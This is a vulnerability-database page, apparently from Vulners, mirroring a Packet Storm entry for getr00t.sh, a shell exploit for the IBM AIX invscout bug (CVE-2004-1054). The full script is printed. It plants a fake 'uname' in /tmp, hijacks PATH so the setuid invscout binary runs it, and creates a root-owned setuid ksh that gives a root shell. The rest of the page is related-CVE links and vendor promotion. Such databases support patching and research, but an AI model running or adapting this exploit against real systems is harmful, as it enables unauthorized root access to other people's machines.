Lucene search
K

getr00t.sh

🗓️ 25 Mar 2005 00:00:00Reported by ri0tType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Root exploit for the invscout bug, automating exploitation via script instructions.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2004-1054
22 Dec 200405:00
cve
Cvelist
CVE-2004-1054
22 Dec 200405:00
cvelist
EUVD
EUVD-2004-1052
7 Oct 202500:30
euvd
NVD
CVE-2004-1054
10 Jan 200505:00
nvd
securityvulns
[Full-Disclosure] iDEFENSE Security Advisory 12.20.04: IBM AIX invscout Local Command Execution Vulnerability
22 Dec 200400:00
securityvulns
`#!/usr/bin/sh  
# r00t exploit written for the invscout bug reported by Idefense labs  
# http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities  
# coded by ri0t exploitation is trivial but automated with this script  
# www.ri0tnet.net  
#  
# usage ./getr00t.sh :)  
# exploitation gives euid(root) from here getting guid (root) is as simple as an  
# /etc/passwd edit   
  
  
cd /tmp  
echo '/usr/bin/cp /usr/bin/ksh ./' > uname  
echo '/usr/bin/chown root:system ./ksh' >> uname  
echo '/usr/bin/chmod 777 ./ksh' >> uname  
echo '/usr/bin/chmod +s ./ksh' >> uname  
/usr/bin/chmod 777 uname  
PATH=./  
export PATH  
/usr/sbin/invscout  
PATH="/usr/bin:/usr/sbin:/usr/local/bin:/bin:./"  
export PATH  
exec /tmp/ksh   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Mar 2005 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.0036
27